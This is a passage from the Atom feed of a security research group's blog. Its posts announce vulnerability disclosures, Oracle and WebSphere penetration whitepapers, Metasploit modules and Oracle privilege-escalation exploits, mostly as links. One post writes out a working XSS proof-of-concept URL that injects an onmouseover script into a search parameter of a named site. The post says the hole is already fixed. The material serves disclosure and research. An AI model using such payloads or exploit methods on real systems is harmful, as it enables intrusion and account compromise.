these mechanisms.&lt;br /&gt;The new versions of browsers (Internet Explorer 8 and FireFox 3.5) use permanent DEP.&lt;br /&gt;And the new versions of OS use the ASLR mechanism. All this makes the old methods of attacks impossible.&lt;br /&gt;But on BlackHat DC 2010 the interesting way to bypass DEP and ASLR in browsers (not only)&lt;br /&gt;and Just-In-Time compilers was presented. This method is called JIT-SPRAY. But here was no one public PoC until now.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dsecrg.com/pages/pub/show.php?id=22"&gt;Writing JIT-Spray Shellcode for fun and profit&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-5669456788619936417?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/5669456788619936417/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2010/03/writing-jit-spray-shellcode-for-fun-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/5669456788619936417'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/5669456788619936417'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2010/03/writing-jit-spray-shellcode-for-fun-and.html' title='Writing JIT-Spray Shellcode for fun and profit'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-7671567004207757337</id><published>2009-04-20T03:32:00.000-07:00</published><updated>2009-04-20T03:38:07.581-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='RSS'/><title type='text'>RSS added to dsecrg.com</title><content type='html'>We happy to announce that we finally finished our RSS engine on dsecrg.com so you can use it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://feeds2.feedburner.com/dsecrg_vuln"&gt;Advisories&lt;/a&gt;&lt;br /&gt;&lt;a href="http://feeds2.feedburner.com/dsecrg_expl"&gt;Exploits&lt;/a&gt;&lt;br /&gt;&lt;a href="http://feeds2.feedburner.com/dsecrg_news"&gt;News&lt;/a&gt;&lt;br /&gt;&lt;a href="http://feeds2.feedburner.com/dsecrg_pub"&gt;Publications&lt;/a&gt;&lt;br /&gt;&lt;a href="http://feeds2.feedburner.com/dsecrg_sum"&gt;Summary&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-7671567004207757337?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/7671567004207757337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2009/04/rss-added-to-dsecrgcom.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/7671567004207757337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/7671567004207757337'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2009/04/rss-added-to-dsecrgcom.html' title='RSS added to dsecrg.com'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-4694155491966147888</id><published>2009-04-14T11:46:00.000-07:00</published><updated>2009-04-20T03:31:11.898-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sap'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM Websphere'/><title type='text'>Vulnerabilities found by DSecRG in "Top Web Vulnerabilities" rating</title><content type='html'>Last vulnerabilities found by DSecRG in &lt;a href="http://dsecrg.com/pages/vul/show.php?id=116" target="_blank"&gt;SAP WebDB&lt;/a&gt; and &lt;a href="http://dsecrg.com/pages/vul/show.php?id=113" target="_blank"&gt;IBM Websphere &lt;/a&gt;took 2'nd and 3'rd place in "Top Web Vulnerabilities" rating, performed by &lt;a href="http://www.communities.hp.com/securitysoftware/blogs/top5/default.aspx" target="_blank"&gt;HP Application Security Center Community&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Early vulnerabilities found by DSecRG got into TOP 5 in:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.communities.hp.com/securitysoftware/blogs/top5/archive/2009/03/02/top-five-web-application-vulnerabilities-2-17-09-3-1-09.aspx" target="_blank"&gt;February 2009&lt;/a&gt; (APC PowerChute)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.communities.hp.com/securitysoftware/blogs/top5/archive/2008/06/04/top-five-web-application-vulnerabilities-5-12-08-5-25-08.aspx?jumpid=reg_R1002_USEN" target="_blank"&gt;July 2008&lt;/a&gt; (SAP Web Application Server)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.communities.hp.com/securitysoftware/blogs/top5/archive/2008/03/17/Top-Five-Web-Application-Vulnerabilities-3_2F00_3_2F00_08-_2D00_-3_2F00_16_2F00_08.aspx" target="_blank"&gt;March 2008&lt;/a&gt; (Ruby WEBrick)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-4694155491966147888?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/4694155491966147888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2009/04/vulnerabilities-found-by-dsecrg-in-top.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4694155491966147888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4694155491966147888'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2009/04/vulnerabilities-found-by-dsecrg-in-top.html' title='Vulnerabilities found by DSecRG in &quot;Top Web Vulnerabilities&quot; rating'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-1786476299152266295</id><published>2009-04-10T11:05:00.000-07:00</published><updated>2009-04-20T03:47:44.501-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='from application down to os'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='whitepaper'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Penetration from application down to OS. Getting OS access using Oracle Database unprivileged user</title><content type='html'>&lt;a href="http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf" target="_blank"&gt;&lt;img src="http://dsecrg.com/files/pub/pdf/penetration_oracle.png" /&gt;&lt;/a&gt;&lt;br /&gt;This whitepaper is part of series of publications describing various ways of obtaining access to the server operating system, using vulnerabilities in popular business applications which meet in the corporate environment.&lt;br /&gt;&lt;br /&gt;&lt;span class="item_author"&gt;Author: Alexandr Polyakov&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="content"&gt;Once upon a time during a penetration test of corporate network I got a unprivileged account on Oracle Database and my plan was to get administrative shell on server where its database was installed. Server was running Windows 2003 server operation system and Oracle database was running with privileges of Administrator (not LOCAL_SYSTEM) account. It is a quite common situation, though. Default way is to escalate privileges on database using one of the latest SQL Injection vulnerabilities and then using DBA privileges to gain access to OS using one of the popular methods such as ExtProc, Java, extjob etc. So it seems to be quite simple and I thought about another ways.&lt;br /&gt;&lt;br /&gt;What if database is patched with latest CPU updates and additionally it has some kind of Intrusion Detection System which can find 0-day vulnerabilities or something like this and it is impossible to escalate privileges using SQL Injections. Of course there are some methods of escalating privileges without exploits. For example: find cleartext passwords in database or connect to listener internally and rewrite log file or escalate privileges using some dangerous roles such as ‘SELECT ANY DICTIONARY’, ‘CREATE ANY TRIGGER’ or something like this. But this methods can’t give you 100% success. I guess there must be another way maybe not universal but better then described.&lt;br /&gt;&lt;br /&gt;In short, this paper describes investigations to get administrative shell on server having unprivileged rights on Oracle Database.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf"&gt;&lt;img alt="" src="http://dsecrg.com/i/pdf.jpg" align="absMiddle" border="0" /&gt;&lt;/a&gt; &lt;a href="http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf"&gt;Penetration from application down to OS (Oracle database)&lt;/a&gt;, (609 KB)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-1786476299152266295?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/1786476299152266295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2009/04/penetration-from-application-down-to-os.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/1786476299152266295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/1786476299152266295'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2009/04/penetration-from-application-down-to-os.html' title='Penetration from application down to OS. Getting OS access using Oracle Database unprivileged user'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-3308307488639172404</id><published>2009-04-09T10:45:00.000-07:00</published><updated>2009-04-20T03:29:16.340-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='from application down to os'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM Websphere'/><category scheme='http://www.blogger.com/atom/ns#' term='whitepaper'/><title type='text'>Penetration from application down to OS. Getting OS access using IBM Websphere Application Server vulnerabilities</title><content type='html'>&lt;a href="http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(IBM_Websphere).pdf" target="_blank"&gt;&lt;img src="http://dsecrg.com/files/pub/pdf/penetration_ibm.png" /&gt;&lt;/a&gt;&lt;br /&gt;This whitepaper opens a series of publications describing various ways of obtaining access to the server operating system, using vulnerabilities in popular business applications which meet in the corporate environment.&lt;br /&gt;&lt;br /&gt;&lt;span class="item_author"&gt;Author: Stanislav Svistunovich&lt;/span&gt;&lt;br /&gt;&lt;span class="content"&gt;In this article describes ways of obtaining access to the server operating system through vulnerabilities in IBM Websphere application server.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(IBM_Websphere).pdf"&gt;&lt;img alt="" src="http://dsecrg.com/i/pdf.jpg" align="absMiddle" border="0" /&gt;&lt;/a&gt; &lt;a href="http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(IBM_Websphere).pdf"&gt;Penetration from application down to OS (IBM Websphere)&lt;/a&gt;, (724 KB)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-3308307488639172404?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/3308307488639172404/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2009/04/penetration-from-application-down-to-os_19.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/3308307488639172404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/3308307488639172404'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2009/04/penetration-from-application-down-to-os_19.html' title='Penetration from application down to OS. Getting OS access using IBM Websphere Application Server vulnerabilities'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-7107974192379228489</id><published>2009-02-18T11:46:00.000-08:00</published><updated>2009-04-20T03:28:22.591-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>DSecRG writes exploits for Metasploit</title><content type='html'>&lt;img src="http://dsecrg.com/files/pub/pdf/metasploit.png" /&gt;&lt;br /&gt;Researchers from DSecRG join &lt;a href="http://www.metasploit.com/" target="_blank"&gt;Metasploit project&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The first Metasploit module written by DSecRG and comitted in metasploit trunk is for SQL injection vulnerability in Oracle Database trigger MDSYS.SDO_TOPO_DROP_FTBL.&lt;br /&gt;&lt;br /&gt;This vulnerability was published in &lt;a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html" target="_blank"&gt;January CPU 2009&lt;/a&gt;.&lt;br /&gt;Metasploit module can be downloaded from &lt;a href="http://trac.metasploit.com/browser/framework3/trunk/modules/auxiliary/admin/oracle/droptable_trigger.rb" target="_blank"&gt;Metasploit svn&lt;/a&gt; or from &lt;a href="http://www.dsecrg.com/files/exploits/droptable_trigger.rb" target="_blank"&gt;our site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;We also rewrote 3 our old exploits for SYS.LT package vulnerabilities from &lt;a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html" target="_blank"&gt;October CPU 2008&lt;/a&gt; and now they can be used in metasploit project:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.dsecrg.com/files/exploits/lt_compressworkspacetree.rb"&gt;lt_compressworkspacetree.rb&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dsecrg.com/files/exploits/lt_removeworkspace.rb"&gt;lt_removeworkspace.rb&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dsecrg.com/files/exploits/lt_mergeworkspace.rb"&gt;lt_mergeworkspace.rb&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-7107974192379228489?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/7107974192379228489/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2009/02/dsecrg-writes-exploits-for-metasploit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/7107974192379228489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/7107974192379228489'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2009/02/dsecrg-writes-exploits-for-metasploit.html' title='DSecRG writes exploits for Metasploit'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-100212843494423397</id><published>2009-02-04T11:45:00.000-08:00</published><updated>2009-04-20T03:27:18.236-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='xss in securityfocus'/><title type='text'>XSS vulnerability on SecurityFocus.com</title><content type='html'>&lt;p&gt;The the most popular security resource in Internet — SecurityFocus.com is vulnerable to XSS attack which was founded in search module by DSecRG researchers. XSS vulnerabilities in search strings is still one of the most popular places.&lt;/p&gt;Example of XSS vulnerability:&lt;br /&gt;&lt;span style="font-family:courier,monotype;color:black;"&gt;&lt;br /&gt;http://whitepapers.securityfocus.com/index.php?option=com_advsearch&amp;amp;&lt;br /&gt;task=search&amp;amp;searchword=aaaaa"onmouseover="javascript:alert('&lt;br /&gt;DSecRG_XSS_POC')"style="position:absolute;left:0;top:0;z-index:&lt;br /&gt;99999;width:10000px;height:10000px;"&lt;/span&gt;&lt;br /&gt;&lt;p&gt;Vulnerability is fixed now but you can see it in &lt;a href="http://dsecrg.com/files/images/SecurityFocus_XSS.PNG"&gt;screenshot&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-100212843494423397?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/100212843494423397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2009/02/xss-vulnerability-on-securityfocuscom.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/100212843494423397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/100212843494423397'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2009/02/xss-vulnerability-on-securityfocuscom.html' title='XSS vulnerability on SecurityFocus.com'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-8178580909712666938</id><published>2009-01-14T11:44:00.000-08:00</published><updated>2009-04-20T03:26:20.669-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cpu'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Oracle released Critical Patch Updates Advisory —January 2009</title><content type='html'>&lt;p&gt;This &lt;a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html" target="_blank"&gt;CPU&lt;/a&gt; contains fix for vulnerability in Oracle Application Server founded by Alexander Polyakov from DSecRG. This vulnerability allows remote attacker gain access to administrators session.&lt;/p&gt;Also in this CPU Oracle provides recognition to DSecRG in Security-In-Depth program (see &lt;a href="http://www.oracle.com/technology/deploy/security/cpu/cpufaq.htm" target="_blank"&gt;FAQ&lt;/a&gt;) for vulnerabilities in Oracle BEA Weblogic 10 and Oracle Database 11g. People are recognized for Security-In-Depth contributions if they provide information, observations or suggestions pertaining to security vulnerability issues that result in significant modification of Oracle code or documentation in future releases, but are not of such a critical nature that they are distributed in Critical Patch Updates. Additional information about vulnerabilities:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.dsecrg.com/pages/vul/show.php?id=57" target="_blank"&gt;Oracle Application Server (SOA): Linked XSS vulnerability&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.dsecrg.com/pages/vul/show.php?id=58" target="_blank"&gt;Oracle BEA Weblogic 10: Multiple Linked ХSS vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.dsecrg.com/pages/vul/show.php?id=59" target="_blank"&gt;Oracle Database 11g: EXFSYS PL/SQL injection vulnerability&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;Early DSecRG received recognition in &lt;a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2008.html" target="_blank"&gt;"Oracle Critical Patch Update Advisory — July 2008"&lt;/a&gt;.&lt;br /&gt;&lt;p&gt;First time Oracle thanked DSecRG researchers in &lt;a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2008.html" target="_blank"&gt;"Oracle Critical Patch Update Advisory — January 2008".&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-8178580909712666938?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/8178580909712666938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2009/01/oracle-released-critical-patch-updates.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/8178580909712666938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/8178580909712666938'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2009/01/oracle-released-critical-patch-updates.html' title='Oracle released Critical Patch Updates Advisory —January 2009'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-6024836236366815170</id><published>2009-01-06T03:07:00.000-08:00</published><updated>2009-04-20T03:14:01.564-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>We publish 3 new Oracle exploits</title><content type='html'>&lt;img src="http://dsecrg.com/files/pub/pdf/3_new_Oracle_exploits.png" /&gt;&lt;br /&gt;&lt;p&gt;We happy to announce 3 new Oracle Database exploits for vulnerabilities from &lt;a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2008.html" target="_blank"&gt;CPU April 2008&lt;/a&gt;. &lt;a href="http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml" target="_blank"&gt;Advisory&lt;/a&gt; about this vulnerabilities was published by  Esteban Martinez Fayo from &lt;a href="http://www.appsecinc.com/" target="_blank"&gt;Application Security&lt;/a&gt;. Brief text from advisory:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table style="background-color: rgb(234, 234, 234);" valign="center"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;i&gt;"Oracle Database provides the "LT" PL/SQL package that is part of the Oracle Workspace Manager component. This package has multiple instances of SQL Injection in COMPRESSWORKSPACETREE, MERGEWORKSPACE and REMOVEWORKSPACE procedures. Dependening on what Oracle Workspace Manager release is installed, this PL/SQL package is owned by SYS (on older releases) or by WMSYS (on newer releases). A malicious user can call the vulnerable procedures of this package with specially crafted parameters and execute SQL statements with the elevated privileges of the package owner, depending on the system configuration it can be SYS or WMSYS"&lt;/i&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Our exploits not only give DBA rights to unprivileged user but also execute Operation System commands (creates new user) using 3 different methods.&lt;br /&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.dsecrg.com/pages/expl/show.php?id=22" target="_blank"&gt;SYS.LT.REMOVEWORKSPACE SQL Injection Exploit&lt;/a&gt;Grant DBA and create new OS user using advanced extproc method which working in new database versions with updates.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dsecrg.com/pages/expl/show.php?id=23" target="_blank"&gt;SYS.LT.MERGEWORKSPACE SQL Injection Exploit&lt;/a&gt;&lt;br /&gt;Grant DBA and create new OS user using java procedures.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dsecrg.com/pages/expl/show.php?id=24" target="_blank"&gt;SYS.LT.COMPRESSWORKSPACE SQL Injection Exploit&lt;/a&gt;&lt;br /&gt;Grant DBA and create new OS user using database scheduler.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;Exploits can be downloaded from our &lt;a href="http://www.blogger.com/www.dsecrg.com" target="_blank"&gt;site&lt;/a&gt; or from milw0rm.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-6024836236366815170?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/6024836236366815170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2009/01/we-publish-3-new-oracle-exploits.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/6024836236366815170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/6024836236366815170'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2009/01/we-publish-3-new-oracle-exploits.html' title='We publish 3 new Oracle exploits'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-1802320089638865882</id><published>2008-12-25T02:54:00.000-08:00</published><updated>2009-04-20T03:24:32.014-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='conference'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Examples of exploits written by DSecRG are used by famous Oracle security researchers in their reports</title><content type='html'>&lt;p&gt;In first days of December on the annual Oracle conference in Germany &lt;a href="http://www.doag.org/en/konferenz/doag/2008/i_text" target="_blank"&gt;DOAG 2008&lt;/a&gt; famous german Oracle specialist Alexander Kornbrust from &lt;a href="http://red-database-security.com/" target="_blank"&gt;red-database-security&lt;/a&gt; company read a paper &lt;a href="http://www.red-database-security.com/wp/best_of_oracle_security_2008.pdf" target="_blank"&gt;"Best of oracle security 2008"&lt;/a&gt;. In this paper he used examples of exploits written by DSecRG.&lt;/p&gt;Earlier Alexander Kornbrust talked about examples of our exploits in his report &lt;a href="http://www.red-database-security.com/wp/Best_of_Oracle_Security_2007.pdf" target="_blank"&gt;"Best of oracle security 2007"&lt;/a&gt;.&lt;br /&gt;&lt;p&gt;A famous english Oracle researcher &lt;a href="http://petefinnigan.com/" target="_blank"&gt;Pete Finnigan&lt;/a&gt; also used our exploits in his masterclass &lt;a href="http://www.petefinnigan.com/Oracle_Security_Masterclass.pdf" target="_blank"&gt;"Oracle Security Masterclass"&lt;/a&gt; which he presented at many conferences, such as WhiteHat London 2008, OKOUG, Skrr Fall etc.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-1802320089638865882?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/1802320089638865882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2008/12/examples-of-exploits-written-by-dsecrg.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/1802320089638865882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/1802320089638865882'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2008/12/examples-of-exploits-written-by-dsecrg.html' title='Examples of exploits written by DSecRG are used by famous Oracle security researchers in their reports'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 